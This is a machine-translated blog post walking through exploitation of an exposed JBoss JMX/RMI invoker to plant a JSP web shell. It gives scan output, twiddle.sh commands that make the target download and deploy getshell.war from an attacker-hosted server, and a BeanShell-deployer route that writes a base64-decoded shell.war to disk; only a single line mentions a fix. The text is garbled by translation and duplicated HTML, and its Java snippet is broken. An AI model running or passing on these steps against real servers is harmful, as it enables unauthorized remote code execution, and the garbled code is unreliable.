The morning open micro-blog see empty heart of a prodigal God Jboss vulnerability to the article, I look over there the rookie is still very difficult, so check the data, writing this article, record.
The deployment of web applications on the JBoss server, there are many different ways, such as: JMX Console, Remote Method Invocation (RMI), JMXInvokerServlet, HttpAdapter etc..
This paper is mainly about RMI remote method invocation vulnerability, the deployment of several other methods such as JMX Console, there is a loophole, mainly to see the JBoss server configuration is correct and rigorous.Before there is an article about JMX Console exploits.
Interested in the station search, okay:
Metasploit has a lot of modules for different JBOSS vulnerabilities, including jboss_vulnscan module, path: auxiliary/scanner/http/jboss_vulnscan, through this module can be JBoss server Vulnerability scanning, can detect whether there are 444410981099 open ports.
Of course, you can also batch scan of a network is open 10991098 or 4444 port Nmap.The followimg:
1
2
3
4
5
6
7
8
9
| [+] 192.168.0.35:443 /invoker/JMXInvokerServlet does not require authentication (200) [*] 192.168.0.35:443 Checking services... [*] 192.168.0.35:443 Naming Service tcp/1098: open [*] 192.168.0.35:443 Naming Service tcp/1099: open [*] 192.168.0.35:443 RMI invoker tcp/4444: open |
The explanation of JNDI to Baidu.
In order to interact with the remote target JBoss server, need to be installed locally (such as: JBoss Jboss AS - 4.2.3.GA), using the bin directory under the twiddle and Jboss interact with twiddle.sh in Linux, the use of twiddle.bat in windows, as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| data-src="$ sh jboss-4.2.3.GA /bin/twiddle .sh -h A JMX client to ’twiddle’ with a remote JBoss server. usage: twiddle.sh [options] < command > [command_arguments] options: -h, --help Show this help message --help-commands Show a list of commands -H=< command > Show command specific help -c= command .properties Specify the command .properties file to use -D<name>[=<value>] Set a system property -- Stop procession options -s, --server=<url> The JNDI URL of the remote server -a, --adapter=<name> The JNDI name of the RMI adapter to user -u, --user=<name> Specify the username for authentication -p, --password=<name> Specify the password for authentication -q, --quiet Be somewhat more quiet">Jboss-4.2.3.GA /bin/twiddle .sh -h A JMX client $sh to with 'twiddle' a remote JBoss server. usage: twiddle.sh [options] < command > [command_arguments] options: -h, --help Show this help message --help-commands Show a list of commands -H=< command > Show command specific help -c= command .properties Specify the command .properties file to use -D<name>[=<value>] Set a system property -- Stop procession options -s, --server=<url> The JNDI URL of the remote server -a, --adapter=<name> The JNDI name of the RMI adapter to user -u, --user=<name> Specify the username for authentication -p, --password=<name> Specify the password for authentication -q, --quiet Be somewhat more quiet |
1
2
3
4
5
6
7
8
9
| data-src="root@bt: /pentest/web/jboss/jboss-4 .2.1.GA /bin # ./twiddle.sh -s 192.168.0.35 get "jboss.system:type=ServerInfo" HostAddress=192.168.0.35 ...... JavaVersion=1.5.0_13 MaxMemory=266600448 ">Root@bt:/pentest/web/jboss/jboss-4.2.1.GA/bin#./twiddle.sh -s 192.168.0.35 get " jboss.system: type =ServerInfo" HostAddress=192.168.0.35 ... JavaVersion=1.5.0_13 MaxMemory=266600448... |
1
2
3
4
5
6
7
8
9
| data-src="root@bt: /pentest/web/jboss/fns # ls getshell.war root@bt: /pentest/web/jboss/fns # twistd -n --path=. --port=80">Root@bt:/pentest/web/jboss/fns# ls getshell.war root@bt: /pentest/web/jboss/fns # twistd -n --path=. --port=80 |
1
| data-src= "root@bt:/pentest/web/jboss/jboss-4.2.1.GA/bin# ./twiddle.sh -s 192.168.0.35 invoke "jboss.system:service=MainDeployer" deploy http://10.0.1.50/getshell.war" >Root@bt: /pentest/web/jboss/jboss-4 .2.1.GA /bin #. /twiddle .sh -s 192.168.0.35 invoke "jboss.system:service=MainDeployer deploy http://10.0.1.50/getshell.war" |
1
| data-src= "root@bt:~#base64 -w 0 shell.war>>shell.war.base64" >Root@bt:~#base64 -w 0 shell.war>>shell.war.base64 |
1
| data-src= "import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val="shell.war的base64表示"; BASE64Decoder decoder = new BASE64Decoder(); byte[] byteval=decoder.decodeBuffer(val); FileOutputStream fs = new FileOutputStream("/temp/shell.war"); fs,write(byteval); fs.close();" >Import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val= shell.war; BASE64Decoder decoder Base64 said "new = BASE64Decoder (byte[]); byteval=decoder.decodeBuffer (VAL); FileOutputStream FS = new FileOutputStream (" /temp/shell .war "); FS write (byteval); (fs.close); |
The Val variable is the shell.war file Base64 said that if the target Jboss server is windows the directory changes such as: C:\WINDOWS\TEMP\shell.war, TXT will be renamed.Bsh file:
4, the use of the above bin/twiddle.sh tool will create a local.Bsh file to the remote JBoss server, the following command:
1
| data-src= "$ ./jboss-4.2.3.GA/bin/twiddle.sh -s 192.168.0.35 invoke jboss.deployer:service=BSHDeployer createScriptDeployment "‘cat deployer.bsh‘" deployer.bsh" >-s 192.168.0.35 invoke jboss.deployer:service=BSHDeployer createScriptDeployment $. /jboss-4 .2.3.GA /bin/twiddle .sh "cat" deployer.bsh "deployer.bsh" |
After the completion of the command is executed on the remote Jboss server will generate shell.war directory for /temp/shell.war
5, then twiddle.sh will continue to use Jboss on the server shell.war deployment, the following command:
1
| data-src= "$ ./jboss-4.2.3.GA/bin/twiddle.sh -s 192.168.0.35 invoke jboss.system:service=MainDeployer deploy "/temp/shell.war"" >. /jboss-4 .2.3.GA /bin/twiddle .sh -s 192.168.0.35 invoke jboss.system:service=MainDeployer deploy $ /temp/shell .war" |
The target Jboss server for windows if the command is as follows:
1
| data-src= "$./jboss-4.2.3.GA/bin/twiddle.sh -s 192.168.0.35 invoke jboss.system:service=MainDeployer deploy "file:C:/WINDOWS/TEMP/shell.war"" >$. /jboss-4 .2.3.GA /bin/twiddle .sh -s 192.168.0.35 invoke jboss.system:service=MainDeployer deploy file :C: /WINDOWS/TEMP/shell .war "" |
It will deploy shell.war on the target JBoss server, which is our jspshell, then you know!
Jboss remote method invocation vulnerability fixes cited article empty heart prodigal aunt:
To remove the invoker, and then 1099 off it.
No comments:
Post a Comment